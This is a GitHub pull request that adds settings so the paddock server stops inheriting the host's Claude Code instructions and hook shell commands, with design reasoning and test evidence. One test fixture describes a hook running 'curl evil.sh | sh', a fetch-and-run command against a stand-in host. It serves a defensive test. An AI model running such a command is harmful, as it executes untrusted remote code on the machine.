feat(server): claude.instructions and claude.hooks — stop inheriting the host's prompts and shell commands (#691) - #697
Merged
Conversation
…the host's prompts and shell commands (#691) Step 4 of #691's sequence. `BRIDGED_ENTRIES` symlinked the whole of the user's user-level Claude config into paddock's own home unconditionally — settings.json, CLAUDE.md, agents/, commands/, plugins/ — with no key to turn any of it off. That set is now two levers, both defaulting `own`, both overridable by PADDOCK_CLAUDE_INSTRUCTIONS / PADDOCK_CLAUDE_HOOKS (env > file > default). - `claude.instructions` — CLAUDE.md, agents/, commands/, plugins/. Inert content: prompts, subagent definitions, slash commands. Symlink bridge as before, and `own` withdraws a link a previous `host` boot planted. - `claude.hooks` — the `hooks` key of settings.json. The one that matters: hooks are shell commands that execute on the machine, and they ran inside every paddock turn whether or not anyone chose that. `hooks: own` cannot be a symlink decision. settings.json carries `hooks` AND permissions, model, statusLine, enabledPlugins; a symlink is all-or-nothing and the file is not. So paddock writes its own settings.json carrying the user's other keys with `hooks` dropped: - Regenerated at every boot, so a restart applies an edit. The staleness that buys is paid ONLY by users who actually have hooks — `planHostSettings` returns `link` when there is nothing to drop, which is most files, so the copy exists exactly where filtering is doing work. - Ownership by sha256 sidecar (`.paddock-generated.json`), never by "it is at a name we use". A file paddock did not write, or wrote and a human then edited, is left alone — and paddock WARNS, because silence there means `hooks: own` is not in force and an operator should not have to infer that. - An unparseable settings.json plants NOTHING rather than falling back to the symlink: the fallback would hand over exactly the hooks the lever withholds. `instructions: own` reverses the argument #620 shipped with. That argument is real and is moved, verbatim, to `DEFAULT_INSTRUCTIONS_MODE` as the case against — not deleted. A curated ~/.claude/CLAUDE.md silently stops reaching agents, so the boot notice names the key rather than leaving it to be discovered. Scope, stated rather than buried: `hooks: own` means "no host hooks", not "no host commands". settings.json has nine other keys naming a script to run (apiKeyHelper, awsAuthRefresh, awsCredentialExport, gcpAuthRefresh, proxyAuthHelper, otelHeadersHelper, statusLine, subagentStatusLine, fileSuggestion — read out of the SDK's own settings schema). Five of them are how a corporate login WORKS, so dropping them under a key named `hooks` would break authentication for people who did nothing wrong; widening is a maintainer call and is one line (`HOST_ONLY_SETTINGS_KEYS`). Co-Authored-By: Claude <noreply@anthropic.com>
Deploying paddock with
|
| Latest commit: |
ee4f1de
|
| Status: | ✅ Deploy successful! |
| Preview URL: | https://d9c37a02.paddock-7u2.pages.dev |
| Branch Preview URL: | https://feat-691-instructions-hooks.paddock-7u2.pages.dev |
…reads (#691) Both were asserted in the code and both are wrong. Verified empirically against @anthropic-ai/claude-agent-sdk 0.3.216 by capturing the outbound request body against a local sink (no API credit spent), not by reading the bundle alone. 1. "Claude Code reads user settings when a session process starts, so even a symlink is not live." FALSE. There is a settings-change watcher (~1s poll, 500ms debounce) that follows a symlink to its real target, clears the whole settings memo and re-applies mid-session — observed as "Detected change to … (via symlink target …)" under a running query(). So a boot-regenerated copy IS materially staler than a symlink, and the docstring now says so instead of explaining the difference away. The two reasons that survive (only hooks-having users get a copy at all; a restart is the whole fix) carry it. 2. "The SDK does not auto-discover installed plugins, so bridging plugins/ is inert." Wrong on the mechanism, right on the outcome. The runtime's plugin root IS join(CLAUDE_CONFIG_DIR, "plugins"), the `plugins` option is a sideload channel MERGED with what is discovered there, and a live probe loaded a plugin from a planted home with no `plugins` option passed. And the finding that reframes both levers: `<claudeHome>/settings.json`, `CLAUDE.md`, `agents/` and `commands/` all move as one unit with Claude Code's `user` setting source, and herdctl passes --setting-sources=project for every agent with a working_directory — which is every paddock keeper. Under the default sources the prompt carries a `# claudeMd` block naming the home's CLAUDE.md; under ["project"] that block is absent entirely while the PROJECT's CLAUDE.md still loads, and system/init drops the home's subagents and slash commands. The CLI runtime passes no such flag, so the sweeper, triggers and driveMode: batch DO read all of it. So both levers are no-ops on the default SDK chat path today and real on the CLI paths. Kept as built: those paths execute host code, the asymmetry is a herdctl default rather than a guarantee, and step 5 changes one of the callers. It also shrinks the case against `instructions: own` — the regression #620's docstring warned about already happened, silently, when chats moved to the SDK runtime. (Not gated, and worth knowing separately: `projects/<enc>/memory/` still reaches the agent under ["project"], so agent auto-memory is unaffected by any of this.) Co-Authored-By: Claude <noreply@anthropic.com>
Merged
This was referenced Aug 5, 2026
Closed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Step 4 of #691's sequence. Splits
BRIDGED_ENTRIES— which symlinked the whole of the user's user-level Claude config into Paddock's own home unconditionally — into two independent levers, both defaultingown.claude.instructionsCLAUDE.md,agents/,commands/,plugins/ownclaude.hookshookskey ofsettings.jsonownPADDOCK_CLAUDE_INSTRUCTIONS/PADDOCK_CLAUDE_HOOKS, env > file > default, mirroringclaude.credentials(#696) throughout. There is no "always bridged" set left: every entry of~/.claudePaddock can reach now belongs to exactly one key of theclaude:block.hooksis the one that matters. Hooks are shell commands that execute on the machine, and until this they ran inside every Paddock turn with no switch at all. "Isolate it by just trying Paddock" was not true, and this is why.The hard part:
settings.jsonis a mixed bagIt carries
hooksandpermissions,model,statusLine,enabledPlugins. A symlink is all-or-nothing and the file is not, sohooks: ownwrites Paddock's ownsettings.json— the user's keys,hooksdropped. Decisions, each of which you asked about:Staleness — boot-time regeneration, and I think it is enough. Three reasons, in order of how much work they do:
planHostSettingsreturnslinkwhen there is nothing to drop, which is mostsettings.jsonfiles. Those still get the symlink and cannot go stale. The copy exists exactly where filtering is doing work — a nice property I did not expect to fall out.The alternative was an fs watcher on a path in the user's home, racing Paddock's own write. Not worth it for a file people edit a handful of times a year.
Never clobbering a real
settings.json. Ownership is decided by sha256 recorded in a sidecar (<ownHome>/.paddock-generated.json), never by "it is at a name we use". A symlink Paddock can recognise by where it points; a real file it wrote is indistinguishable from a real file a human wrote, and getting that wrong in either direction is bad (refuse → stale forever; regenerate anyway → silently overwrite an operator's config). So: a file Paddock did not write, or wrote and a human then edited, is left alone — and it warns, because silence there would meanhooks: ownis not in force for whatever that file says and an operator should not have to infer that. A marker key insidesettings.jsonwould need no sidecar but risks a schema-validation warning on some future Claude Code; a hash sidecar is inert by construction.Withdrawal. All four transitions are handled and tested: bridge→generated, generated→bridge, either→gone when the user deletes theirs, and the
instructionslinks withdrawn on a flip toown(as #696 did for.credentials.json).Fail closed. An unparseable
~/.claude/settings.jsonplants nothing rather than falling back to a symlink — the fallback would hand over exactly the hooks the lever withholds, precisely when something is already wrong. Claude Code could not read that file either, so nothing is lost.BRIDGED_ENTRIES' docstring argued the opposite ofinstructions: own:That is still true, and
instructions: ownis exactly that regression for anyone with a curated~/.claude/CLAUDE.md: their agents stop knowing things, with no error to search for. I implementedownper your decision, and moved the argument verbatim ontoDEFAULT_INSTRUCTIONS_MODEinclaude-instructions.tsas the case against, plus a test that says "if this flips back, the footnote won". The counter-argument I put next to it: "owneverywhere means nothing outside the data dir is read or written" has to be a guarantee readable off a config file, and "…except your CLAUDE.md, agents, commands and plugins, always, with no key" is not a guarantee, it is a footnote. Mitigation for the cost: the boot notice names the key and lists which of their files it is not loading, only when they actually have some.Easy to push back on — it is one constant.
hooks: owndoes not stop the host's commands runningThe brief frames the lever as "hooks are commands that execute on the machine, and today they are inherited with no switch." True — but
hooksis not the only key insettings.jsonthat names a command to run. Read straight out of the SDK's own settings schema (@anthropic-ai/claude-agent-sdk/sdk.mjs,_6()):apiKeyHelperawsCredentialExportawsAuthRefreshgcpAuthRefreshproxyAuthHelperotelHeadersHelperstatusLine/subagentStatusLine/fileSuggestion{type: l.literal("command"), command: l.string()}So
hooks: owndelivers "no host hooks", not "no host commands" — and the brief listsstatusLineamong the keys to keep, which is one of them.I implemented the brief's scope (
hooksonly) rather than widening it, and I want the trade-off in front of you rather than a unilateral choice, because widening is not obviously right: the first five are how a login works on a corporate setup, so dropping them under a key namedhookswould break authentication for people who did nothing wrong. That is an argument they belong underclaude.credentials, not here. Widening is one line —HOST_ONLY_SETTINGS_KEYSinclaude-settings.ts— and there is a test pinning it to["hooks"]so the gap is a stated fact with a name rather than something later mistaken for a bug. It is in the module doc, the changeset and both doc pages too.Found by checking rather than assuming, and it reframes the whole step. Verified empirically against
@anthropic-ai/claude-agent-sdk0.3.216 by capturing the outbound request body against a local sink server (no API credit spent), not by reading the bundle alone.<claudeHome>/settings.json,CLAUDE.md,agents/andcommands/all move as one unit with Claude Code'susersetting source. And@herdctl/core'ssdk-adapter.jsdoes this:Every Paddock agent has a
working_directory(the project dir), and Paddock declares nosetting_sources, so every SDK chat turn runs with--setting-sources=project. Evidence:# claudeMdblock naming<claudeHome>/CLAUDE.md. Under["project"]that block is absent entirely, while the project's ownCLAUDE.mdstill loads.system/initdiff between the two:probecmddrops out ofslash_commands,probeagentdrops out ofagents.settingSources: ["user"]brings all three back and drops the project one — so the gate is that source specifically.cli-runtime.jspasses--setting-sourcesonly when an agent declaressetting_sources, and Paddock declares none — soclaude -pruns on the defaultuser,project,localand reads all of it.Therefore: the host's hooks, CLAUDE.md, agents and commands execute/apply in the sweeper, triggers and
driveMode: batchchats, and not in a default SDK chat turn. #691's premise — "hooks are inherited with no switch at all", "the user's~/.claude/CLAUDE.mdis auto-loaded into every session" — is true of the CLI runtime and has been false of the SDK runtime since chats moved to it.I kept both levers as built, because the exposure is real code execution on those paths, the asymmetry is a herdctl default rather than a guarantee, and step 5 changes one of the callers. But it cuts two ways worth deciding on:
instructions: ownabove — the "behaviour regression nobody asked for" already happened, silently, and nobody filed it.setting_sourcesexplicitly rather than inheriting a herdctl default that silently decides this? I did not touch it — it changes what every chat loads and belongs in its own PR.Not gated, and verified separately:
<claudeHome>/projects/<enc>/memory/still reaches the agent under["project"], so agent auto-memory is unaffected.Two other claims I asserted and then had to correct
Both were in the first commit;
ee4f1defixes them."Claude Code reads user settings at process start, so even a symlink is not live." False. There is a settings-change watcher (~1s poll + 500ms debounce, 5s self-write echo suppression) that follows a symlink to its real target, clears the whole settings memo and re-applies mid-session — observed as
Detected change to … (via symlink target …)under a runningquery(). So a boot-regenerated copy is materially staler than a symlink. The docstring now says that plainly instead of explaining it away; the two reasons that survive (only hooks-having users get a copy at all, and a restart is the whole fix) carry the decision. Bonus: because that watcher fires on content change regardless of who wrote it, a future watcher-based regeneration on Paddock's side would propagate live — so closing the gap later is cheap."The SDK does not auto-discover installed plugins, so bridging
plugins/is inert." Design: independent levers for what Paddock shares with the host's Claude Code (transcripts / credentials / MCP / instructions / hooks) #691 says this, I repeated it, and it is wrong on the mechanism. The runtime's plugin root isjoin(CLAUDE_CONFIG_DIR, "plugins"), theplugins?: SdkPluginConfig[]option is a sideload channel that gets merged with what is discovered there, and a live probe loaded a plugin from a planted home with nopluginsoption passed at all. The outcome ("inert for Paddock") happens to hold, but for a different reason: discovery is driven byenabledPlugins, which lives insettings.json, which isuserSettings, which isn't loaded. Worth knowing before step 5 builds on the stated reason.Verification
env -u NODE_ENV npm test: 1779 server + 941 web, all green (baseline after step 3 was 1738 server; +41).instructions×hookscombinations asserted as a matrix, plus a four-waycredentials×instructionsmatrix proving the levers do not leak into one another.own drops the user's hooks while KEEPING their other settings keys: a usersettings.jsonwithpermissions,modeland aPreToolUsehook runningcurl evil.sh | sh; asserts the generated file has nohooks, the stringcurl evil.shappears nowhere in it,permissionsandmodelsurvive intact, and the entry is a real file, not a symlink (a symlink would carry the hooks straight back). That is the security property this lever exists for.system/init+ outbound request bodies. Zero API credit spent, scratch dirs deleted.npm run typecheckfails only onreapChatSessioninherdctl.ts— environmental (@herdctl/core@5.29.1installed against a declared^5.31.0), present onmain, not mine. It also means local E2E cannot run here; CI installs fresh.Closes nothing on its own — #691's sequence continues at step 5 (
mcpServers).